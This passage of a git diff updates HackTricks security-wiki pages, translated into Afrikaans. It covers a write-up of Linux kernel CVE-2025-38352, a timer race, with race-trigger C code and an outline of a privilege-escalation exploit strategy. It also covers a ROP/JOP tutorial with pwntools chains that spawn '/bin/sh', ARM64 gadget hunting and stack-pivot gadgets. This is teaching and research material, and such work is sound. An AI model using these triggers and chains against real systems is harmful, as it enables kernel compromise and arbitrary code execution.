+- Aktivering voeg dit in ’n per-base timerqueue in en kan die next-expiry cache bywerk:
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+struct posix_cputimer_base *base = timer_base(timer, p);
+struct cpu_timer *ctmr = &timer->it.cpu;
+u64 newexp = cpu_timer_getexpires(ctmr);
+if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+- Fast path vermy duur verwerking tensy gekaste vervaltye moontlike afvuring aandui:
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+struct posix_cputimers *pct = &tsk->posix_cputimers;
+if (!expiry_cache_is_inactive(pct)) {
+u64 samples[CPUCLOCK_MAX];
+task_sample_cputime(tsk, samples);
+if (task_cputimers_expired(samples, pct))
+return true;
+}
+return false;
+}
+```
+- Die expiration-fase versamel timers wat verval het, merk hulle as besig om af te gaan en verwyder hulle uit die queue; die werklike aflewering word uitgestel:
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+struct list_head *firing, u64 now) {
+struct timerqueue_node *next; int i = 0;
+while ((next = timerqueue_getnext(head))) {
+struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+u64 expires = cpu_timer_getexpires(ctmr);
+if (++i == MAX_COLLECTED || now < expires) return expires;
+ctmr->firing = 1; // critical state
+rcu_assign_pointer(ctmr->handling, current);
+cpu_timer_dequeue(ctmr);
+list_add_tail(&ctmr->elist, firing);
+}
+return U64_MAX;
+}
+```
+Twee vervalverwerkingsmodusse
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: verval word via task_work op die teikentaak uitgestel
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: verval word direk in IRQ-konteks hanteer
+
+
+POSIX CPU timer-uitvoeringspaaie
+```c
+void run_posix_cpu_timers(void) {
+struct task_struct *tsk = current;
+__run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+tsk->posix_cputimers_work.scheduled = true;
+task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+lockdep_posixtimer_enter();
+handle_posix_cpu_timers(tsk); // IRQ-context path
+lockdep_posixtimer_exit();
+}
+#endif
+```
+
+
+In die IRQ-context-pad word die firing list buite sighand verwerk
+
+
+Hanteringspad in IRQ-context
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+struct k_itimer *timer, *next; unsigned long flags, start;
+LIST_HEAD(firing);
+if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
+do {
+start = READ_ONCE(jiffies); barrier();
+check_thread_timers(tsk, &firing);
+check_process_timers(tsk, &firing);
+} while (!posix_cpu_timers_enable_work(tsk, start));
+unlock_task_sighand(tsk, &flags); // race window opens here
+list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+int cpu_firing;
+spin_lock(&timer->it_lock);
+list_del_init(&timer->it.cpu.elist);
+cpu_firing = timer->it.cpu.firing; // read then reset
+timer->it.cpu.firing = 0;
+if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+rcu_assign_pointer(timer->it.cpu.handling, NULL);
+spin_unlock(&timer->it_lock);
+}
+}
+```
+
+
+Worteloorsaak: TOCTOU tussen IRQ-time expiry en gelyktydige deletion tydens task exit
+Voorvereistes
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path word gebruik)
+- Die teikentask is besig om uit te tree, maar is nog nie volledig gereaped nie
+- ’n Ander thread roep posix_cpu_timer_del() gelyktydig vir dieselfde timer aan
+
+Volgorde
+1) update_process_times() aktiveer run_posix_cpu_timers() in IRQ context vir die task wat besig is om uit te tree.
+2) collect_timerqueue() stel ctmr->firing = 1 en skuif die timer na die tydelike firing list.
+3) handle_posix_cpu_timers() laat sighand los via unlock_task_sighand() om timers buite die lock af te lewer.
+4) Onmiddellik ná unlock kan die task wat besig is om uit te tree, gereaped word; ’n sibling thread voer posix_cpu_timer_del() uit.
+5) In hierdie venster kan posix_cpu_timer_del() dalk nie state via cpu_timer_task_rcu()/lock_task_sighand() verkry nie en dus die normale in-flight guard wat timer->it.cpu.firing kontroleer, oorslaan. Deletion gaan voort asof die timer nie firing is nie, wat state korrupteer terwyl expiry hanteer word en tot crashes/UB lei.[[1]](#references) [[5]](#references)
+
+Waarom TASK_WORK mode veilig is by ontwerp
+- Met CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y word expiry na task_work uitgestel; exit_task_work loop vóór exit_notify, dus vind die IRQ-time overlap met reaping nie plaas nie.
+- Selfs dan, as die task reeds besig is om uit te tree, misluk task_work_add(); gating op exit_state maak albei modes konsekwent.[[1]](#references) [[5]](#references)
+
+Fix (Android common kernel) en rasionaal
+- Voeg ’n vroeë return by as die huidige task besig is om uit te tree, wat alle verwerking gate:
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+return;
+```
+- Dit verhoed dat exiting tasks handle_posix_cpu_timers() binnegaan, en skakel die venster uit waarin posix_cpu_timer_del() dit.cpu.firing kon mis en met expiry processing kon race.[[2]](#references) [[3]](#references)
+
+Impak
+- Kernel memory corruption van timer structures tydens concurrent expiry/deletion kan onmiddellike crashes (DoS) veroorsaak en is ’n sterk primitive vir privilege escalation weens geleenthede vir arbitrêre kernel-state manipulation.
+
+Triggering the bug (veilige, reproduseerbare toestande)
+Build/config
+- Verseker dat CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n is en gebruik ’n kernel sonder die exit_state gating fix.
+
+Runtime strategy
+- Teiken ’n thread wat op die punt staan om te exit en attach ’n CPU timer daaraan (per-thread of process-wide clock):
+- Vir per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- Vir process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Arm dit met ’n baie kort aanvanklike expiration en klein interval om IRQ-path entries te maksimeer:
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+struct sigevent sev = {0};
+sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
+sev.sigev_signo = SIGUSR1;
+if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+struct itimerspec its = {0};
+its.it_value.tv_nsec = 1; // fire ASAP
+its.it_interval.tv_nsec = 1; // re-fire
+if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+- Vanuit ’n sibling thread, verwyder dieselfde timer terselfdertyd terwyl die teiken-thread afsluit:
+```c
+void *deleter(void *arg) {
+for (;;) (void)timer_delete(t); // hammer delete in a loop
+}
+```
+- Race-versterkers: hoë scheduler-ticktempo, CPU-lading, herhaalde thread exit-/herskeppingsiklusse. Die crash manifesteer tipies wanneer posix_cpu_timer_del() nie daarin slaag om firing op te merk nie weens ’n mislukte task lookup/locking direk ná unlock_task_sighand().[[1]](#references) [[5]](#references)
+
+Opsporing en hardening
+- Mitigation: pas die exit_state guard toe; verkieslik aktiveer CONFIG_POSIX_CPU_TIMERS_TASK_WORK waar haalbaar.
+- Observability: voeg tracepoints/WARN_ONCE rondom unlock_task_sighand()/posix_cpu_timer_del() by; genereer ’n alert wanneer it.cpu.firing==1 waargeneem word saam met ’n mislukte cpu_timer_task_rcu()/lock_task_sighand(); monitor timerqueue-teenstrydighede rondom task exit.
+
+Audit-hotspots (vir reviewers)
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- __run_posix_cpu_timers()-seleksie (TASK_WORK- teenoor IRQ-pad)
+- collect_timerqueue(): stel ctmr->firing in en verskuif nodes
+- handle_posix_cpu_timers(): laat sighand val vóór die firing-lus
+- posix_cpu_timer_del(): maak staat op it.cpu.firing om ’n in-flight expiry op te spoor; hierdie kontrole word oorgeslaan wanneer task lookup/lock tydens exit/reap misluk
+
+Notas vir exploitation research
+- Die disclosed gedrag is ’n betroubare kernel-crash primitive; om dit in privilege escalation te omskep, is gewoonlik ’n addisionele beheerbare oorvleueling nodig (object lifetime of write-what-where influence) buite die omvang van hierdie opsomming. Behandel enige PoC as potensieel destabiliserend en voer dit slegs in emulators/VMs uit.
+
+### Chronomaly exploit-strategie (priv-esc sonder vaste teks-offsets)
+- **Getoetste teiken en configs:** x86_64 v5.10.157 onder QEMU (4 cores, 3 GB RAM). Kritieke opsies: `CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n`, `CONFIG_PREEMPT=y`, `CONFIG_SLAB_MERGE_DEFAULT=n`, `DEBUG_LIST=n`, `BUG_ON_DATA_CORRUPTION=n`, `LIST_HARDENED=n`.[[4]](#references)
+- **Race-sturing met CPU timers:** ’n Racing thread (`race_func()`) gebruik CPU terwyl CPU timers fire; `free_func()` poll `SIGUSR1` om te bevestig of die timer fired het. Stel `CPU_USAGE_THRESHOLD` fyn sodat seine slegs soms aankom (intermitterende "Parent raced too late/too early"-boodskappe). Indien timers by elke poging fire, verlaag die threshold; indien hulle nooit vóór thread exit fire nie, verhoog dit.[[4]](#references) [[7]](#references)
+- **Belyning van twee prosesse in `send_sigqueue()`:** Ouer-/kindprosesse probeer om ’n tweede race-window binne `send_sigqueue()` te tref. Die ouer slaap `PARENT_SETTIME_DELAY_US` mikrosekondes voordat dit timers arm; verstel dit afwaarts wanneer jy meestal "Parent raced too late" sien en opwaarts wanneer jy meestal "Parent raced too early" sien. As jy albei sien, dui dit aan dat jy die window weerskante bereik; sukses word binne ongeveer 1 minuut verwag sodra dit ingestel is.[[4]](#references) [[6]](#references)
+- **Cross-cache UAF-vervanging:** Die exploit free ’n `struct sigqueue` en groom dan allocator-state (`sigqueue_crosscache_preallocs()`) sodat beide die dangling `uaf_sigqueue` en die vervangende `realloc_sigqueue` op ’n pipe buffer data page land (cross-cache reallocation). Reliability veronderstel ’n rustige kernel met min vorige `sigqueue`-allocations; indien partial slab pages per CPU/per node reeds bestaan (besige systems), sal die vervanging misluk en die chain faal. Die outeur het dit doelbewus ongeoptimaliseer vir noisy kernels gelaat.[[4]](#references) [[6]](#references)
+
+### Sien ook
+
+{{#ref}}
+ksmbd-streams_xattr-oob-write-cve-2025-37947.md
+{{#endref}}
+
+## References
+
+- [1] [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [2] [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [3] [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+- [4] [Chronomaly exploit PoC (CVE-2025-38352)](https://github.com/farazsth98/chronomaly)
+- [5] [CVE-2025-38352-analise – Deel 1](https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/)
+- [6] [CVE-2025-38352-analise – Deel 3](https://faith2dxy.xyz/2026-01-03/cve_2025_38352_analysis_part_3/)
+- [7] [CVE-2025-38352-analise – Deel 2](https://faith2dxy.xyz/2025-12-24/cve_2025_38352_analysis_part_2/)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/README.md b/src/binary-exploitation/rop-return-oriented-programing/README.md
index 29e21bca5ad..00fee5aa628 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/README.md
@@ -1,46 +1,45 @@
-# ROP - Return Oriented Programing
+# ROP & JOP
{{#include ../../banners/hacktricks-training.md}}
-## **Basic Information**
+## **Basiese Inligting**
-**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections.
+**Return-Oriented Programming (ROP)** is ’n gevorderde exploitation-tegniek wat gebruik word om sekuriteitsmaatreëls soos **No-Execute (NX)** of **Data Execution Prevention (DEP)** te omseil. In plaas daarvan om shellcode in te spuit en uit te voer, benut ’n aanvaller stukke code wat reeds in die binary of in gelaaide libraries voorkom, bekend as **"gadgets"**. Elke gadget eindig tipies met ’n `ret`-instruksie en voer ’n klein bewerking uit, soos om data tussen registers te verskuif of arithmetic-bewerkings uit te voer. Deur hierdie gadgets aan mekaar te skakel, kan ’n aanvaller ’n payload saamstel om arbitrêre bewerkings uit te voer en sodoende NX/DEP-beskerming effektief te omseil.
-### How ROP Works
+### Hoe ROP Werk
-1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack.
-2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations.
-3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets.
+1. **Control Flow Hijacking**: Eerstens moet ’n aanvaller die control flow van ’n program kaap, gewoonlik deur ’n buffer overflow uit te buit om ’n gestoorde return address op die stack te oorskryf.
+2. **Gadget Chaining**: Die aanvaller kies en skakel dan gadgets sorgvuldig aan mekaar om die verlangde aksies uit te voer. Dit kan behels dat arguments vir ’n function call opgestel word, dat die function geroep word (bv. `system("/bin/sh")`), en dat enige nodige cleanup of addisionele bewerkings hanteer word.
+3. **Payload Execution**: Wanneer die kwesbare function terugkeer, begin dit, in plaas daarvan om na ’n geldige ligging terug te keer, die ketting van gadgets uit te voer.
### Tools
-Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
+Gadgets kan tipies gevind word met [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) of direk vanuit **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
-## ROP Chain in x86 Example
+## ROP Chain in x86 Voorbeeld
### **x86 (32-bit) Calling conventions**
-- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.**
-- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack.
+- **cdecl**: Die caller maak die stack skoon. Function arguments word in omgekeerde volgorde (regs-na-links) op die stack gepush. **Arguments word van regs na links op die stack gepush.**
+- **stdcall**: Soortgelyk aan cdecl, maar die callee is verantwoordelik daarvoor om die stack skoon te maak.
### **Finding Gadgets**
-First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are:
+Kom ons neem eerstens aan dat ons die nodige gadgets binne die binary of sy gelaaide libraries geïdentifiseer het. Die gadgets waarin ons belangstel, is:
-- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`.
-- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`.
-- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**.
-- Additionally, we have the address of the `system()` function available.
+- `pop eax; ret`: Hierdie gadget pop die boonste waarde van die stack in die `EAX`-register en return dan, wat ons in staat stel om `EAX` te beheer.
+- `pop ebx; ret`: Soortgelyk aan die bogenoemde, maar vir die `EBX`-register, wat beheer oor `EBX` moontlik maak.
+- `mov [ebx], eax; ret`: Verskuif die waarde in `EAX` na die memory-ligging waarna `EBX` wys en return dan. Dit word dikwels ’n **write-what-where gadget** genoem.
+- Daarbenewens het ons die address van die `system()`-function beskikbaar.
### **ROP Chain**
-Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with:
-
-1. A `ret` instruction for alignment purposes (optional)
-2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/))
-3. Placeholder for the return address from `system()`
-4. `"/bin/sh"` string address (parameter for system function)
+Deur **pwntools** te gebruik, berei ons die stack vir die ROP chain se uitvoering soos volg voor, met die doel om `system('/bin/sh')` uit te voer; let op hoe die chain begin met:
+1. ’n `ret`-instruksie vir alignment-doeleindes (opsioneel)
+2. Address van `system`-function (met die veronderstelling dat ASLR gedeaktiveer is en libc bekend is; meer inligting in [**Ret2lib**](ret2lib/index.html))
+3. Placeholder vir die return address vanaf `system()`
+4. `"/bin/sh"`-string address (parameter vir system-function)
```python
from pwn import *
@@ -59,43 +58,40 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th
# Construct the ROP chain
rop_chain = [
- ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
- system_addr, # Address of system(). Execution will continue here after the ret gadget
- 0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
- bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
+ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
+system_addr, # Address of system(). Execution will continue here after the ret gadget
+0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
+bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
-# Send ROP chain
-## offset is the number of bytes required to reach the return address on the stack
+# Deliver the 32-bit chain after padding to the saved return address
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
+## ROP Chain in x64-voorbeeld
-## ROP Chain in x64 Example
-
-### **x64 (64-bit) Calling conventions**
+### **x64 (64-bis) Calling conventions**
-- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`.
-- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`.
-- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`.
+- Gebruik die **System V AMD64 ABI** calling convention op Unix-agtige stelsels, waar die **eerste ses heelgetal- of pointer-argumente in die registers `RDI`, `RSI`, `RDX`, `RCX`, `R8` en `R9` deurgegee word**. Addisionele argumente word op die stack deurgegee. Die return value word in `RAX` geplaas.[[1]](#references)
+- Die **Windows x64** calling convention gebruik `RCX`, `RDX`, `R8` en `R9` vir die eerste vier heelgetal- of pointer-argumente, met addisionele argumente wat op die stack deurgegee word. Die return value word in `RAX` geplaas.
+- **Registers**: 64-bis registers sluit `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` en `R8` tot `R15` in.
-#### **Finding Gadgets**
+#### **Gadgets vind**
-For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets:
+Vir ons doel sal ons fokus op gadgets wat ons sal toelaat om die **RDI**-register te stel (om die **"/bin/sh"**-string as ’n argument aan **system()** deur te gee) en dan die **system()**-funksie te call. Ons sal aanvaar dat ons die volgende gadgets geïdentifiseer het:
-- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**.
-- **ret**: A simple return, useful for stack alignment in some scenarios.
+- **pop rdi; ret**: Haal die boonste waarde van die stack in **RDI** en return dan. Noodsaaklik om ons argument vir **system()** te stel.
+- **ret**: ’n Eenvoudige return, nuttig vir stack alignment in sommige scenario’s.
-And we know the address of the **system()** function.
+En ons ken die address van die **system()**-funksie.
### **ROP Chain**
-Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**:
-
+Hieronder is ’n voorbeeld wat **pwntools** gebruik om ’n ROP chain op te stel en uit te voer met die doel om **system('/bin/sh')** op **x64** uit te voer:
```python
from pwn import *
@@ -115,81 +111,212 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
- ret_gadget, # Alignment gadget, if needed
- pop_rdi_gadget, # pop rdi; ret
- bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
- system_addr # Address of system(). Execution will continue here.
+ret_gadget, # Alignment gadget, if needed
+pop_rdi_gadget, # pop rdi; ret
+bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
+system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
-# Send ROP chain
-## offset is the number of bytes required to reach the return address on the stack
+# Deliver the 64-bit chain after padding to the saved return address
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
+In hierdie voorbeeld:
-In this example:
+- Ons gebruik die **`pop rdi; ret`**-gadget om **`RDI`** op die adres van **`"/bin/sh"`** te stel.
+- Ons spring direk na **`system()`** nadat **`RDI`** gestel is, met die adres van **system()** in die chain.
+- **`ret_gadget`** word vir belyning gebruik indien die teikenomgewing dit vereis, wat meer algemeen in **x64** voorkom om korrekte stack-belyning te verseker voordat funksies geroep word.
-- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**.
-- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain.
-- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions.
+### Stack-belyning
-### Stack Alignment
+**Die x86-64 ABI** verseker dat die **stack** 16-grepe-belyn is wanneer ’n **call instruction** uitgevoer word. **LIBC** gebruik, om werkverrigting te optimaliseer, **SSE instructions** (soos **movaps**) wat hierdie belyning vereis. As die stack nie korrek belyn is nie (wat beteken dat **RSP** nie ’n veelvoud van 16 is nie), sal oproepe na funksies soos **system** in ’n **ROP chain** misluk. Om dit reg te stel, voeg eenvoudig ’n **ret gadget** by voordat jy **system** in jou ROP chain roep.
-**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain.
-
-## x86 vs x64 main difference
+## x86 vs x64 hoofverskil
> [!TIP]
-> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP).
+> Omdat **x64 registers vir die eerste paar arguments gebruik,** vereis dit dikwels minder gadgets as x86 vir eenvoudige funksie-oproepe, maar dit kan meer kompleks wees om die korrekte gadgets te vind en te chain weens die groter aantal registers en die groter address space. Die groter aantal registers en die groter address space in **x64**-architecture bied beide geleenthede en uitdagings vir exploit development, veral in die konteks van Return-Oriented Programming (ROP).
-## ROP chain in ARM64 Example
+Wanneer slegs ’n klein overwrite beskikbaar is, kan ’n chain ook ’n stabiele `vsyscall`-adres as ’n `ret`-agtige stepping stone gebruik voordat ’n gedeeltelike return-address overwrite uitgevoer word; die Hack.lu `stackstuff`-challenge is ’n konkrete voorbeeld.[[2]](#references)
-### **ARM64 Basics & Calling conventions**
+## ROP chain in ARM64
-Check the following page for this information:
+Vir **ARM64-basics en calling conventions**, raadpleeg die volgende bladsy vir hierdie inligting. Praktiese ARM64 chains sluit in die gebruik van `mprotect` om ’n beheerde streek executable te maak, asook langer real-world iOS chains wat uit beskikbare gadgets saamgestel is.[[3]](#references)[[4]](#references)
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Protections Against ROP
+> [!DANGER]
+> Wanneer jy met ROP op **ARM64** na ’n funksie spring, moet jy moontlik die instructions vir die opstel van sy frame oorslaan. Andersins kan die prologue die huidige frame state oor beheerde stack-data stoor en die chain in ’n onbedoelde lus vasvang. Vir ’n algemene prologue kan dit beteken dat jy by die tweede instruction of later begin, maar verifieer die presiese instruction boundary vir die teikenfunksie eerder as om aan te neem dat die tweede instruction altyd korrek is.
+
+### Vind gadgets in system Dylds
+
+Die system libraries word in ’n enkele lêer genaamd **dyld_shared_cache_arm64** saamgestel. Hierdie lêer bevat die system libraries in ’n compressed format. Om dit van die mobile device af te laai, gebruik:
+```bash
+scp [-J ] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
+# -Use -J if connecting through Corellium via Quick Connect
+```
+Dan kan jy een van hierdie tools gebruik om die libraries uit die `dyld_shared_cache_arm64`-lêer te onttrek:
+
+- [https://github.com/keith/dyld-shared-cache-extractor](https://github.com/keith/dyld-shared-cache-extractor)
+- [https://github.com/arandomdev/DyldExtractor](https://github.com/arandomdev/DyldExtractor)
+```bash
+brew install keith/formulae/dyld-shared-cache-extractor
+dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted
+```
+Nou, om interessante gadgets te vind vir die binary wat jy uitbuit, moet jy eers weet watter libraries deur die binary gelaai word. Jy kan *lldb** hiervoor gebruik:
+```bash
+lldb ./vuln
+br s -n main
+run
+image list
+```
+Laastens kan jy [**Ropper**](https://github.com/sashs/ropper) gebruik om gadgets te vind in die libraries waarin jy belangstel:
+```bash
+# Install
+python3 -m pip install ropper --break-system-packages
+ropper --file libcache.dylib --search "mov x0"
+```
+## JOP - Jump Oriented Programming
+
+JOP is 'n soortgelyke tegniek as ROP, maar elke gadget gebruik, in plaas daarvan om 'n RET-instruksie aan die einde van die gadget te gebruik, **jump addresses**. Dit kan besonder nuttig wees in situasies waar ROP nie haalbaar is nie, soos wanneer daar geen geskikte gadgets beskikbaar is nie. Dit word algemeen in **ARM**-argitekture gebruik, waar die `ret`-instruksie nie so algemeen soos in x86/x64-argitekture gebruik word nie.
+
+Jy kan ook **`rop`**-tools gebruik om JOP-gadgets te vind, byvoorbeeld:
+```bash
+cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
+ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0
+```
+- Daar is ’n **heap overflow wat ons in staat stel om ’n function pointer te oorskryf** wat in die heap gestoor is en geroep sal word.
+- **`x0`** wys na die heap waar ons sekere spasie beheer.
+
+- Vanuit die gelaaide stelselbiblioteke vind ons die volgende gadgets:
+```
+0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
+0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
+```
+- Ons kan die eerste gadget gebruik om **`x0`** te laai met ’n wyser na **`/bin/sh`** (gestoor in die heap), en dan **`x2`** vanaf **`x0 + 0x30`** te laai met die adres van **`system`** en daarheen te spring.
+
+## Stack Pivot
+
+Stack pivoting is ’n tegniek wat in exploitation gebruik word om die stack pointer (`RSP` in x64, `SP` in ARM64) te verander sodat dit na ’n beheerde geheuegebied wys, soos die heap of ’n buffer op die stack, waar die aanvaller hul payload kan plaas (gewoonlik ’n ROP/JOP chain).
+
+Voorbeelde van Stack Pivoting chains:
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain
-- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain.
+- Example just 1 gadget:
+```
+mov sp, x0; ldp x29, x30, [sp], #0x10; ret;
+
+The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
+```
+
+```
+I found this gadget in libunwind.dylib
+If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.
+
+0000001c61a9b9c:
+ldr x16, [x0, #0xf8]; // Control x16
+ldr x30, [x0, #0x100]; // Control x30
+ldp x0, x1, [x0]; // Control x1
+mov sp, x16; // Control sp
+ret; // ret will jump to x30, which we control
+
+To use this gadget you could use in the heap something like:
+ # ldp x0, x1, [x0]
+ # Let's suppose this is the overflowed pointer that allows to call the ROP chain
+"A" * 0xe8 (0xf8-16) # Fill until x0+0xf8
+ # Lets point SP to x0+16 to control the stack
+ # This will go into x30, which will be called with ret (so add of 2nd gadget)
+```
+- Voorbeeld met veelvuldige gadgets:
+```
+// G1: Typical PAC epilogue that restores frame and returns
+// (seen in many leaf/non-leaf functions)
+G1:
+ldp x29, x30, [sp], #0x10 // restore FP/LR
+autiasp // **PAC check on LR**
+retab // **PAC-aware return**
+
+// G2: Small helper that (dangerously) moves SP from FP
+// (appears in some hand-written helpers / stubs; good to grep for)
+G2:
+mov sp, x29 // **pivot candidate**
+ret
+
+// G3: Reader on the new stack (common prologue/epilogue shape)
+G3:
+ldp x0, x1, [sp], #0x10 // consume args from "new" stack
+ret
+```
+
+```
+G1:
